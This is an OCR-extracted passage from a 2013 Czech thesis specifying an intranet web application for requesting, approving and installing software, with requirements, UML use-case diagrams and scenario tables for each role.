Evidovano bude datum pozadavku, nazev poZadovaného software, jméno, pfijmeni, titul a
email Zzadatele, evidenc¢ni Cislo pocitace, na ktery bude aplikace instalovana, dale jsou to
osobni udaje schvalovatele, datum zmény stavu objednavky, osobni udaje technika

provad¢jiciho instalaci a mozna poznamka uzivatele k zdtivodnéni zadosti.

Polozky jakou jsou datum pozadavku, stav pozadavku, datum zmény stavu objednavky a

veskeré osobni Udaje vSech zucastnénych osob budou pofizovany automaticky. Povinna
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jsou také pole nazev pozadovaného software a vybér pocitae k instalaci. Nabizeny

software a pridéleny pocitac bude uzivatel vybirat z pfeddefinovaného formulare.

5.1.3 Vymazani pozadavku na instalaci software

Pokud bude pozadavek ve stavu pofizen, Ize ho stornovat uzivatelem. Pokud se vsak

pozadavek nachazi v jiném stavu, nelze jiz proces zastavit uzivatelem.

5.1.4 ProhliZeni katalogu s nabidkou software

Uzivatel si bude moci po autentifikaci prohlizet nabidku veSkerého software roz€lenéného
podle kategorii. Tato volba slouzi pouze pro prohlizeni a neni vdzdna na nutnost mit

ptidéleny hardware.

5.1.5 Zadost o novy software neuvedeny v katalogu

Zde bude moci uzivatel zazadat o novy software, ktery jesté neni zaveden do evidence AW
Caesaru. Pofizeno a evidovano zde bude datum pozadavku; nazev pozadovaného software;
jméno, piijmeni, titul a email uzivatele; dale jsou to osobni udaje schvalovatele; datum

zmény stavu objednavky; poznamka uzivatele ke zdivodnéni zadosti a popisu software.

Polozky jako jsou datum pozadavku, stav pozadavku, datum zmény stavu objednavky a

veskeré osobni tdaje vSech zacastnénych osob budou potizovany automaticky.

5.1.6 Zobrazeni stavu objednavky

Ovéfenému uzivateli se zobrazi seznam vSech jeho objednavek sefazen chronologicky od

nejstarsi po novéjsi dle jejich stavu.

V tomto seznamu bude zobrazeno datum pozadavku; stav pozadavku; jméno, piijmeni,
titul a email uzivatele, schvalovatele a technika; datum zmény stavu; ndzev software a také
pocitac, na ktery byl pozadavek smérovan. Uzivatel muize stornovat pouze pozadavek,
ktery je ve stavu pofizen. O zméné stavu objednavky bude uzivatel neprodlené informovan

e-mailem.
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5.1.7 Schvaleni pozadavku

Po ovéfeni se povéfenému spravci zobrazi seznam objednavek od jednotlivych uzivateli ke

schvaleni.

Seznam bude obsahovat jméno a piijmeni zadatele, datum potfizeni zadosti; ndzev
pozadovaného software; ptidéleny pocitac; pozndmku vytvorenou uzivatelem. U kazdé
zadosti budou dvé tlacitka ,,schvalit a ,,zamitnout®, pomoci kterych schvalovatel zméni
stav zadosti na ,,schvaleno* nebo ,,zamitnuto*“. Po volb& odsouhlasena ¢i zamitnuta zadost
ze seznamu zmizi. Polozky stav pozadavku, datum zmény stavu objedndvky a veskeré

osobni udaje schvalovatele budou pofizovany automaticky.

ro~r

O schvaleni, nebo zamitnuti zadosti bude uzivatel informovan e-mailem.

5.1.8 Instalace software technikem

V piipadé pozadavku na rucni instalaci, bude po piihlaseni do systému povéreny technik
informovan 0 pozadavku na instalaci software formuldfem s nastavitelnym filtrem dle

lokality.

Tento seznam bude obsahovat jméno a piijmeni zadatele; Cislo pocitace; telefon na
uzivatele; nazev software k instalaci; jméno a ptijmeni schvalovatele; datum zadosti; stav
zadosti. Pokud technik potvrdi uspé$nou instalaci, objednavka tak piejde do stavu
nainstalovano, a 0 tomto stavu bude uzivatel informovan e-mailem. Zaznam také zmizi se
seznamu zadosti o instalaci. Polozky stav pozadavku a datum zmény stavu véetné jména a

ptijmeni technika budou pofizovany automaticky.

5.1.9 Export dat

Schvalovateli 1 administratorovi bude umoznéno provést export dat ve formatu XML do

souboru, pro piipadnou archivaci a tvorbu reportt.

5.1.10 Administrace nastaveni

Po ovéreni zde bude moci administrator nastavit vybranému software instalaci bez nutnosti

schvaleni a urychlit tak vlastni instalaci.
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5.1.10.1 Nastaveni filtra instalaci

Administrator zde bude moci provadét aplikaci filtrii na vlastni automatickou instalaci, dle
IP adresy; lokality; domény a vybér metody instalace (pomoci PsExec, WMIc, ru¢né a
jiné).

5.1.10.2 Nastaveni MSI bali¢ka

Dalsi z ¢innosti administratora bude pfifazeni jména instalacnich MSI balickt a software
z katalogu DB AW Caesar, dale také moznost nastavit piiznak ,,instalace bez nutnosti

schvaleni®.

5.1.10.3 Prirazeni roli uzivatelum

Administrator bude spravovat a nastavovat role jednotlivym uzivatelim dle povéfeni

(uzivatel, schvalovatel, technik, obchodnik, administrator) v databazi.

5.1.10.4 Pi'ehledné reporty

Aplikace bude poskytovat rozlicné statistické reporty o vSech provedenych ¢innostech

véetné poctl instalovanych programi a poéti schvalenych ¢i neschvalenych objednavek.

5.2 Nefunk¢ni pozadavky

5.2.1 Vyvojové prostiedi

Aplikace bude vyvijena v prostfedi Microsoft Visual Studio a v programovacim jazyku C#

5.2.2 Webova aplikace

Dalsim pozadavkem bude tvorba webové aplikace v ASP.NET, ktera bude provozovana na

lokalni siti v prostiedi firemniho intranetu a obsluha pomoci webového prohlizece.

5.2.3 Pouze autorizovany pristup

Vsechny tkony v aplikaci bude mozno provadét pouze po ovéieni pomoci LDAP v AD.
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5.2.4 Typ Databaze

Pouzita databaze bude Microsoft SQL Server 2008 a vyssi, minimaln¢ ve verzi standard

z divodu mozného vyuziti funkce server agent.

5.2.5 Dostupnost aplikace
Aplikace bude dostupna vzdy minimalné od pond¢li do patku a to v dobé od 5 do 20hodin.

Udrzba a replikace databaze bude provadéna vyhradné o vikendu ve veéernich hodinach,

nebo pii mimofadnych udalostech v pracovni dny mezi 0.00 — 3.00 hodinou.
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II. PRAKTICKA CAST
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6 ANALYZA VLASTNIHO RESENI

Na zaklad¢ definovanych pozadavki uvedenych v kapitole 5, mizeme pfistoupit K navrhu-
modelovani systému a relacni databaze pomoci prvkit UML. Modelovani ptipadl uziti se
skladd ze ctyt zakladnich aktivit. Prvni je nalezeni hranic systému, jako druhy bod
vyhledame a pojmenujeme aktéry, dale nalezneme jednotlivé ptipady uziti a na zavér
definujeme vztahy mezi aktéry a ptipady uziti. Pro bliz§i popis toku udalosti slouzi tzv.
scénare, které definuji hlavni a vedlejsi tok informaci. Vysledkem by mél byt jednoduchy,
snadno srozumitelny model pfipadu uziti, ktery zachyti vSechny nezbytné informace.
V pfipad€, ze navrh nese pftili§ komplikované a pokrocilé funkce a nebylo by jasné, o co
presné se jedna, plati réeni ,,Mate-li o néfem pochybnosti, jednoduse se tomu vyhnéte*.

[12] [13]

6.1 Seznam aktéri
Mezi zakladni aktéry, kteti byli analyzou z funkénich pozadavkl vybrani, patii.
e Uzivatel — kazdy, ovéteny uzivatel systému.
e Schvalovatel — uzivatel s pfitazenou roli Schvalovatel.
e Technik —uzivatel s pfifazenou roli Technik.
e Obchodnik — uZivatel s pfifazenou roli Obchodnik

e Administrator — uZivatel s nejvyssi roli Administrator, spravce systému.
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6.2 Diagramy USE CASE

uc Aktéri

-

Uzivatel

Q

-

Administrator Technik Schvalovatel Obchodnik

Obr. 9. Seznam aktéru

uc Pripady uziti Autentizace /

Systém

Prihlaseni do systému

/\

Uzivatel

Odhlaseni ze systému

Obr. 10. Use Case - Autentizace
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uc Pripady uZiti Uzivatel /

" wincludes

-

ocinduaE:o\E"

Zobrazeni vsech Zadosti a -t
stavi objednavek uZivatele | ~, cviend.

UZivatel

{from
Aktef)

Zobrazeni nabidky

existujiciho SW z katalogu

Zobrazit nabidku
SW a wvybrat

pridéleny HW-
~ potitat

Storno poZadavku

Obr. 11. Use Case - Uzivatel

uc Pfipady uziti Technik/

Systém

Technik

(from
Aktéri)

Prevzeti Ukolu

-
-~
.= i «extend»
Zobrazeni zadosti k
instalaci
- )
«extend»™ -+

Dokoncéeni

Instalace

Obr. 12. Use Case Technik
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uc Pripady uziti Schvalov atel /

Systém

Schvaleni
zadosti

Zobrazeni zadosti ke
schvaleni

I

Zamitnuti
zadosti
Schvalovatel
(from
Aktéri)

Reporty
A

«extend»

Vystup do
souboru

Obr. 13. Use Case Schvalovatel

uc Pfipady uziti Obchodnik /

Systém

Potv rdit zakoupeni

Zobrazit seznam SW k
zakoupeni

Obchodnik

(from
Aktéri)

Obr. 14. Use Case Obchodnik
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uc Ptipady uziti Administrator/

Systém

Spréava roli
Sprava roli uzivateldJ =~~~ —~ = konkrétniho
uzivatele

Samoinstalaéni

rer. - Prifrazeni MSI
balicky

«extend» balicku k SW

Nastaveni typu
instalace

Administrator

(from
Aktéri)

Report do XML

-
-

— -
. N. N L//«extend»
Revize stavu Gkolu a

pozadavku

astaveni instalaéniho

uctu

Obr. 15. Use Case Administrator
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6.3 Scénare pripadu uziti

Jednotlivé kroky ptipadl uziti jsou uvedeny do tokt udalosti nazyvanych scénate. Tyto
scénafe maji hlavni vétev, kterd symbolizuje idedlni stav, kterého chceme dosahnout
oznacovanou jako ,.hlavni scénai“. Alternativni kroky scénare, které fesi naptiklad chyby,
rozvétveni i preruseni nazyvame jako ,,vedlejsi scénai®. Tyto scénafe lze vyjadrit graficky
pomoci diagramu aktivit, nebo pomoci tabulek.[12] Nasleduje 26 tabulek scénait

s popisem zakladnich udalosti mezi aktéry a systémem.

Tab. 1. Pfihlaseni do systému

Pripad uziti: PrihlaSeni do systému.

ID:1

Struény popis:
Uzivatel se ptihlasi do systému.

Hlavni aktéri:
UZivatel.

Vedlejsi aktéfi:
ZAdni.

Vstupni podminky:
Uzivatel ma pfidélen tcet v Active Directory.

Hlavni scénaf:

1. Systém zobrazi ptihlaSovaci dialog.
UZivatel vyplni doménu, ptihlasovaci jméno a heslo do domény.
Systém ovéti zadané udaje.
Jestlize jsou zadané udaje chybné, systém zobrazi chybové hlaseni a navrat do bodu 2.
Jestlize jsou zadané udaje v pofadku, systém zpfistupni menu a obrazovku dle uréenych
roli.

g~ wn

Vystupni podminky: Uzivatel je ptihlasen do systému.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece.
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Tab. 2. Odhlaseni ze systému

Pripad uziti: Odhlaseni ze systému.

ID:2

Struény popis:
Uzivatel se odhlasi ze systému.

Hlavni aktéfri:
Uzivatel.

\!edlejéi aktéri:
Zadni.

Vstupni podminky:
Uzivatel je ptihlasen v aplikaci.

Hlavni scénar:
1. Uzivatel stiskne tlacitko ,,Odhlasit®.
2. Systém odhlasi uzivatele z aplikace a zobrazi prihlasovaci stranku.

Vystupni podminky: Uzivatel je odhlaSen ze systému a je mu zobrazen ptihlasovaci dialog.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece.

Tab. 3. Zobrazeni pozadavku

Pfipad uziti: Zobrazeni pozadavkda.

ID:3

Struény popis:
Aplikace uzivateli zobrazi seznam v§ech jeho pozadavka.

Hlavni aktéri:
UZivatel.

Vedlejsi aktéfi:
ZAdni.

Vstupni podminky:
Uzivatel je ptihlaSen do aplikace.

Hlavni scénar:
1. Systém zobrazi seznam zadosti aktualné ptihlaSeného uzivatele jako vychozi formular.
2. Pokud se uzivatel nachazi v jiné Casti aplikace, zobrazi tento formular stiskem tlacitka
,.Seznam zadosti®.
3. Systém vypise formulaf s polozkami: datum pozadavku, nazev software, jméno zadatele,
jméno schvalovatele, stav zadosti,
4. Pokud je pozadavek ve stavu ,,pofizeno* lze tlaCitkem ,,Storno* pozadavek stornovat.

Vystupni podminky: UZivateli je zobrazen formulaf s jeho Zadostmi.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tladitkem ,,Odhlasit®.
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Tab. 4. Zadost o software

Pfipad uziti: Zadost o software.

ID:4

Struény popis:
Aplikace umozni uzivateli zalozit novy pozadavek na software.

Hlavni aktéri:
UZivatel.

\!edlejéi aktéri:
Zadni.

Vstupni podminky:
Uzivatel je ptihlasen do aplikace.

Hlavni scénar:

1.
2.
3.

ook

7.

Uzivatel vybere volbu z menu ,,Novy pozadavek®.

Systém zobrazi formular pro zalozeni nového pozadavku.

UZivatel vybere zrozbalovaci nabidky pozadovany software a z druhé nabidky uréi
pocita¢ k jeho instalaci. Ze seznamu pocitacli se nabizi pouze uzivateli pridélené
pocitace. Do polozky poznamka je mozno zanechat vzkaz schvalovateli.

Uzivatel stiskne tlacitko ,,Odeslat®.

Systém zkontroluje vyplnénost poli.

Jestlize udaje nejsou vybrany, systém zobrazi informaci o chybé a pokracuje bodem 3.
Pokud jsou udaje v potadku, systém zalozi novy pozadavek.

Vystupni podminky: Systém zaloZi novy pozadavek.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit®.
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Tab. 5. Nova zadost o novy software

Pripad uziti: Nova zadost o novy software.

ID:5

Struény popis:
Aplikace umozni uZzivateli zalozit novy pozadavek na novy software nenachdzejici se
v katalogu.

Hlavni aktéfri:
Uzivatel.

Vedlejsi aktéfi:
Zadni.

Vstupni podminky:
Uzivatel je prihlasen do aplikace, je otevieny formulaf ,, Novy pozadavek™.

Hlavni scénar:

1. Uzivatel stiskne tlacitko ,,Novy neuvedeny SW*.

2. Systém zobrazi formulaf pro zalozeni nového pozadavku.

3. Urzivatel vyplni do poloZzky ,,Nazev software* nazev pozadovaného software. V seznamu
Kategorie mlize vybrat kategorii poZadovaného software a piipojit poznamku.
Uzivatel stiskne tlacitko ,,Odeslat pozadavek®.
Systém zkontroluje vyplnénost pole jméno software.
Jestlize udaj neni vyplnén, systém zobrazi informaci o chybé a pokracuje bodem 3.
Pokud jsou udaje v poradku, systém zalozi novy pozadavek.

(N oA

Vystu pni podminky: Systém zalozi novy pozadavek.

Alternativni scénare:
Aplikaci je moZno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*

Tab. 6. Katalog software

Pripad uziti: Katalog software.

ID:6

Struény popis:
Uzivatel miize prohlizet a vyhledavat v katalogu software.

Hlavni aktéri:
UZivatel.

Vedlejsi aktéfi:
ZAdni.

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace.

Hlavni scénaf:

1. Uzivatel vybere z menu polozku ,,Katalog SW*

2. Systém zobrazi formulaf s vyhledavacim oknem a polozkami kategorie software a volbu
ihned k instalaci.

3. Uzivatel vyplni do vyhledavaciho okna hledany software, v seznamu kategorie muze
vybrat typ software. Pokud vybere volbu ihned k instalaci, zobrazi se pouze software
k okamzité automatické instalaci. Vybér potvrdi tlacitkem ,,Vyhledat™

4. Systém zobrazi nabizeny software dle omezujicich podminek.

5. Pokud nejsou specifikovany zadné podminky, systém zobrazi veskery software.

Vystupni podminky: Systém zobrazi pozadovany software.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit®.
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Tab. 7. Zobrazeni seznamu Zadosti instalace software ke schvaleni

Pripad uziti: Zobrazeni seznamu zadosti instalace software ke schvaleni.

ID:7

Struény popis:
Aplikace umozni zobrazit seznam vSech pozadavki instalace SW ke schvaleni.

Hlavni aktéri:
Schvalovatel.

\!edlejéi aktéri:
Zadni.

Vstupni podminky:
Uzivatel je ptihlasen do aplikace a ma ptidélenou roli Schvalovatel.

Hlavni scénar:
1. Uzivatel v roli schvalovatel vybere volbu ,,Schvalovatel*.
2. Systém zobrazi seznam vSech pozadavkd, které jsou ve stavu ,,Pofizeno™.
Seznam bude obsahovat tyto polozky: Datum pozadavku, Nazev software, Jméno
zadatele, Stav zadosti, Pozndmku a Pocet volnych licenci.

Vystupni podminky: Systém zobrazi seznam zadosti ve stavu ,,Pofizeno®.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*.

Tab. 8. Schvaleni pozadavku na instalaci software

Pripad uziti: Schvaleni pozadavku na instalaci software.

ID:8

Struény popis:
Aplikace umozni schvalovani pozadavku k instalaci software.

Hlavni aktéri:
Schvalovatel.

Vedlejsi aktéfi:
ZAdni.

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a ma ptidélenou roli Schvalovatel. M4 zobrazen seznam
pozadavki ke schvaleni.

Hlavni scénar:

1. Pokud: uzivatel v roli Schvalovatel u pozadavku stiskne tlacitko ,,Schvalit*.

2. Systém nastavi stav pozadavku na ,,Schvaleno®, do databdze ulozi: Cas zmény stavu,
jméno schvalovatele, zméni stav na ,,Schvaleno* a fadek se schvalenym pozadavkem se
zneviditelni pro schvalovatele. O provedené udalosti odesle systém uzivateli informacni
e-mail se stavem jeho pozadavku.

Vystupni podminky: Stav pozadavku je nastaven na ,,Schvéaleno®.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit™.




UTB ve Zliné, Fakulta aplikované informatiky, 2013

Tab. 9. Zamitnuti pozadavku na instalaci software

Pripad uziti: Zamitnuti pozadavku na instalaci software.

ID:9

Struény popis:
Aplikace umozni zamitnuti pozadavka k instalaci software.

Hlavni aktéri:
Schvalovatel.

\!edlejéi aktéri:
Zadni.

Vstupni podminky:
Uzivatel je ptihlasen do aplikace a mé pfidelenou roli Schvalovatel. Ma zobrazen seznam
pozadavki ke schvaleni.

Hlavni scénar:

1. Pokud: uzivatel v roli Schvalovatel u pozadavku stiskne tlacitko ,,Zamitnout®.

2. Systém nastavi stav pozadavku na ,,Zamitnuto®, do databaze se ulozi: Cas zmeény stavu,
jméno piihlaSen¢ho schvalovatele, dale se zméni stav na ,,Zamitnuto® a fadek se
zamitnutym pozadavkem se zneviditelni pro schvalovatele. O provedené udélosti odesle
systém uzivateli informacni e-mail se stavem jeho pozadavku.

Vystupni podminky: Stav pozadavku je nastaven na ,,Zamitnuto*.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit®.

Tab. 10. Zobrazeni seznamu zadosti o pofizeni nového software ke schvaleni

Pfipad uziti: Zobrazeni seznamu Zzadosti 0 pofizeni nového software ke schvaleni.

ID:10

Struény popis:
Aplikace umozni zobrazit seznam vSech pozadavka K pofizeni nového software ke schvaleni.

Hlavni aktéri:
Schvalovatel

Vedlejsi aktéfi:
ZAadni

Vstupni podminky:
Uzivatel je ptihlaSen do aplikace a ma pfidélenou roli schvalovatel

Hlavni scénar:
1. Uzivatel v roli schvalovatel zvoli volbu Schvalit novy software.
2. Systém zobrazi seznam vSech pozadavkd, které jsou ve stavu ,,Pofizeno*.
Seznam bude obsahovat tyto polozky: Datum pozadavku, Néazev software, Jméno
zadatele, Stav zadosti a Poznamku.

Vystupni podminky: Systém zobrazi seznam zadosti o novy SW ve stavu ,,Pofizeno®.

Alternativni scénare:
Aplikaci je moZno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*
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Tab. 11. Schvaleni pozadavku na pofizeni nového software

Pripad uziti: Schvaleni pozadavku na pofizeni nového software.

ID:11

Struény popis:
Aplikace umozni schvaleni pozadavki na potizeni nového software.

Hlavni aktéri:
Schvalovatel

\!edlejéi aktéri:
Zadni

Vstupni podminky:
Uzivatel je ptihlasen do aplikace a mé pfidélenou roli Schvalovatel. Ma zobrazen seznam
pozadavkil o novy software ke schvaleni.

Hlavni scénar:

1. Pokud: uzivatel v roli Schvalovatel u pozadavku stiskne tlacitko ,,Schvalit*.

2. Systém nastavi stav pozadavku na ,,Schvaleno“, do databaze ulozi: Cas zmény stavu,
jméno schvalovatele, zméni stav na ,,Schvaleno* a fadek se schvalenym pozadavkem se
zneviditelni pro schvalovatele. O provedené udalosti odesle systém uzivateli informacni
e-mail se stavem jeho pozadavku.

Vystupni podminky: Stav pozadavku je nastaven na ,,Schvaleno®.

Alternativni scénare:
Aplikaci je mozZno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*

Tab. 12. Zamitnuti pozadavku na instalaci nového software

Pripad uziti: Zamitnuti pozadavku na instalaci nového software.

ID:12

Struény popis:
Aplikace umozni zamitnuti poZzadavkl na potizeni nového software.

Hlavni aktéri:
Schvalovatel

Vedlejsi aktéfi:
Z4adni

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a ma pfidélenou roli Schvalovatel. Ma zobrazen seznam
pozadavkil o novy software ke schvaleni.

Hlavni scénar:

1. Pokud: uzivatel v roli Schvalovatel u pozadavku stiskne tlacitko ,,Zamitnout®.

2. Systém nastavi stav pozadavku na ,,Zamitnuto®, do databaze ulozi: Cas zmény stavu,
jméno schvalovatele, zméni stav na ,,Zamitnuto* a fadek se schvalenym pozadavkem se
zneviditelni pro schvalovatele. O provedené udalosti odesle systém uzivateli informacni
e-mail se stavem jeho pozadavku.

Vystupni podminky: Stav pozadavku je nastaven na ,,Zamitnuto®.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlésit™
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Tab. 13. Zobrazeni seznamu schvalenych Zadosti k ru¢ni instalaci technikem

Pripad uziti: Zobrazeni seznamu schvalenych Zzadosti k ru¢ni instalaci technikem.

ID:13

Struény popis:
Aplikace umozni zobrazit seznam schvalenych zadosti k ru¢ni instalaci technikem.

Hlavni aktéfri:
Technik.

Vedlejsi aktéfi:
Zadni.

Vstupni podminky:
Uzivatel je ptihlasen do aplikace a ma ptidélenou roli Technik.

Hlavni scénar:
1. Uzivatel v roli Technik vybere z menu volbu ,, Technik®.
2. Systém zobrazi seznam vSech pozadavkd, které jsou ve stavu ,,Schvaleno®, ,,Pfevzato* a
nemaji atribut automatické instalace.
3. Seznam bude obsahovat tyto polozky: Datum pozadavku, Nazev software, Jméno
zadatele, Telefon Zadatele, Email zadatele, Jméno technika a Stav zadosti.

Vystupni podminky: Systém zobrazi seznam zadosti ve stavu ,,Schvaleno® nebo
,Prevzato®,

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlésit™.

Tab. 14. Pfevzeti pozadavku technikem

Pripad uziti: Prevzeti pozadavku technikem.

ID:14

Strucény popis:
Aplikace umozni ptevzeti ukolu k instalaci technikem.

Hlavni aktéfi:
Technik.

Vedlejsi aktéri:
Zadni.

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a ma pridélenou roli Technik. Ma zobrazen seznam
schvalenych pozadavka (tikol) k instalaci.

Hlavni scénar:

1. Pokud uzivatel vroli Technik u poZzadavku ve stavu ,,Schvaleno® stiskne tla¢itko
,,Prevzit ukol®.

2. Systém nastavi stav pozadavku na ,,Pfevzato” a do databaze ulozi: ¢as zmény stavu,
jméno technika piebirajiciho tikol a zméni stav na ,,Pfevzato®. Tlacitko ,,Ptevzit ukol*
se zméni na ,,Nainstalovano* a systém odesle uzivateli informa¢ni e-mail 0 stavu jeho
pozadavku.

Vystupni podminky: Stav pozadavku je nastaven na ,,Pfevzato®.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit™.
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Tab. 15. Instalace pozadavku technikem

Pripad uziti: Instalace pozadavku technikem.

ID:15

Struény popis:
Aplikace umozni potvrdit provedeni kone¢né instalace ukolu technikem.

Hlavni aktéri:
Technik.

\!edlejéi aktéri:
Zadni.

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a mé piidélenou roli Technik. Ma zobrazen seznam
pozadavka (kolt) k instalaci.

Hlavni scénar:
1. Pokud uzivatel vroli Technik u pozadavku ve stavu ,Pievzato™ stiskne tlacitko
,.Nainstalovano®.
2. Systém nastavi stav pozadavku na ,,Nainstalovano® a do databaze ulozi: Cas zmény
stavu, jméno technika, ktery provadél instalaci a stav na ,,Nainstalovano®. Radek
S nainstalovanym pozadavkem se zneviditelni ve vypisu pro technika a systém odesle
uzivateli informacni e-mail o stavu jeho pozadavku.

Vystupni podminky: Stav pozadavku je nastaven na ,,Nainstalovano®.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlac¢itkem ,,Odhlasit™.

Tab. 16. Zobrazeni seznamu vSech zadosti - reportt

Pripad uziti: Zobrazeni seznamu v§ech zadosti - reporti

ID:16

Struény popis:
Aplikace umozni zobrazit seznam vSech provedenych tkont od Zadosti az po konecnou
instalaci.

Hlavni aktéri:
Schvalovatel, Administrator.

Vedlejsi aktéri:
Z4dni

Vstupni podminky:
Uzivatel je ptihlasen do aplikace a ma pridélenou roli Schvalovatel, nebo Administrator.

Hlavni scénar:

1. Uzivatel v roli Schvalovatel nebo Administrator vybere z menu volbu ,,Reporty®.

2. Systém zobrazi seznam vSech poZzadavki ve vSech stavech. Seznam bude obsahovat tyto
udaje: Datum pozadavku, Nazev software, Jméno Zzadatele, Jméno schvalovatele, Jméno
technika, Stav zadosti, Datum zmény stavu, Pocet vydanych licenci, Celkovy pocet
licenci a Pocet volnych licenci.

Vystupni podminky: Systém zobrazi Gplny seznam v§ech zadosti.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*
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Tab. 17. Export vSech pozadavki - reportti do souboru XML

Pripad uziti: Export vSech pozadavki - reportd do souboru XML

ID:17

Struény popis:
Aplikace umozni vystup vSech pozadavku do souboru ve formatu XML.

Hlavni aktéri:
Schvalovatel, Administrator.

\!edlejéi aktéri:
Zadni

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a mé ptid€lenu roli Schvalovatel, nebo Administrator a ma
zobrazenu nabidku Reporty.

Hlavni scénar:

1. Pokud uzivatel vroli Schvalovatel, nebo Administrator stiskne tlacitko ,,Vystup do
XML*

2. Systém vytvoii XML soubor a zobrazi uzivateli dialogové okno pro ulozZeni souboru na
lokdlni disk. Jméno souboru je nabizeno ve tvaru ,Report aktualni-
datum DD MM RRRR.xml*

3. Uzivatel vybere umisténi a potvrdi volbu ulozit.

Vystupni podminky: Soubor s exportovanymi daty ve formatu XML je uloZen do zadaného
umisténi.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*

Tab. 18. Zobrazeni seznamu samoinstalaé¢nich - MSI bali¢ku

Pripad uziti: Zobrazeni seznamu samoinstala¢nich - MSI bali¢ki

ID:18

Struény popis:
Aplikace umozni zobrazit seznam ptipravenych samoinstala¢nich balicka.

Hlavni aktéri:
Administrator.

Vedlejsi aktéri:
Z4dni

Vstupni podminky:
Uzivatel je prihlasen do aplikace a ma ptidélenou roli Administrator.

Hlavni scénar:
1. Uzivatel v roli Administrator vybere z menu volbu ,,Samoinstala¢ni bali¢ky*
2. Systém zobrazi seznam software a knému pfifazenych samoinstala¢nich balickd.
Seznam bude obsahovat nasledujici polozky: Nazev software, Jméno MSI bali¢ku a
prepina¢ Schvéleno.

Vystupni podminky: Systém zobrazi seznam MSI bali¢kti vazanych na Nazev software.

Alternativni scénare:
Aplikaci je moZno opustit zavienim prohlizeée ¢i tlad¢itkem ,,Odhlasit®.
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Tab. 19. VlozZeni a piifazeni software ke jménu samoinstala¢niho balicku

Pripad uziti: Vlozeni a pfifazeni software ke jménu samoinstala¢niho balicku.

ID:19

Struény popis:
Aplikace umozni ptifadit k nazvu software piipraveny soubor s nazvem MSI balic¢ku.

Hlavni aktéri:
Administrator.

\!edlejéi aktéri:
Zadni

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a ma ptidé€lenou roli Administrator a ma zobrazenu nabidku
Samoinstalacni balic¢ky.

Hlavni scénar:

1. Uzivatel v roli administrator vybere v zapati stranky ,,Nazev software*, mtize mu pfiradit
nazev souboru v polozce ,,Nazev MSI balicku* a zaSkrtnout volbu ,,Schvaleno*, pokud
software nevyzaduje schvaleni Schvalovatelem. Vse potvrdi volbou ,,Vlozit*

2. Systém zkontroluje, zdali jsou polozky vyplnény:

a. Pokud jsou v potadku vyplnény, je zaznam ulozen v databazi
b. Pokud nejsou spravné vyplnény, systém vypise varovné okno a piipad pokracuje
bodem 1.

Vystupni podminky: Systém piitadi nazvu software soubor s MSI balickem.

Alternativni scénare:
Vlozeni polozky je mozno prerusit stiskem tlacitka ,,Storno*. Aplikaci je mozno opustit
zavienim prohlizece, ¢i tlaCitkem ,,Odhlasit™
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Tab. 20. Editace pfifazeni software ke jménu samoinstala¢niho bali¢ku

Pripad uziti: Editace pfifazeni software ke jménu samoinstala¢niho bali¢ku a nazvu balic¢ku.

ID:20

Struény popis:
Aplikace umozni zménit nazev MSI bali¢ku prifazeného k Nazvu software, nebo zménit Nazev
software k MSI bali¢ku a zménu atributu Schvaleno.

Hlavni aktéri:
Administrator.

\!edlejéi aktéri:
Zadni

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a ma ptid€lenou roli Administrator a ma zobrazenu nabidku
Samoinstalacni balicky.

Hlavni scénar:

1. Uzivatel vroli administrator vybere Vv seznamu fadek, ktery je tfeba zmeénit a stiskne
volbu ,,Editovat®. Pot¢ mlze ménit nazev souboru v polozce ,,Nazev MSI balicku“ a
meénit volbu ,,Schvaleno®. Vse potvrdi volbou ,,Aktualizovat*

2. Systém zkontroluje, zdali jsou polozky vyplnény:

a. Pokud jsou v potadku vyplnény, je zaznam ulozen v databazi
b. Pokud nejsou spravné vyplnény, systém vypise varovné okno a piipad pokracuje
bodem 1.

Vystupni podminky: Systém umozni zménit nazev souboru s MSI balickem a pifipadné
meénit volbu Schvaleno.

Alternativni scénare:
Editaci lze prerusit stiskem tlacitka ,,Storno®. Aplikaci je mozno opustit zavienim prohlizece,
¢i tla¢itkem ,,Odhlasit™

Tab. 21. Zobrazeni seznamu schvalenych zadosti k nakupu software

Pripad uziti: Zobrazeni seznamu schvalenych zadosti k nakupu software.

ID:21

Struény popis:
Aplikace umozni zobrazit seznam schvalenych pozadavki k nakupu software.

Hlavni aktéri:
Schvalovatel, Obchodnik.

Vedlejsi aktéfi:
ZAdni.

Vstupni podminky:
Uzivatel je ptihlaSen do aplikace a ma pfidélenou roli Schvalovatel nebo Obchodnik.

Hlavni scénar:
1. Uzivatel v roli schvalovatel nebo obchodnik vybere volbu ,,Zakoupit novy SW*.
2. Systém zobrazi seznam vSech pozadavkd, které jsou ve stavu ,,Pofizeno*.
Seznam bude obsahovat tyto polozky: Datum pozadavku, Néazev software, Jméno
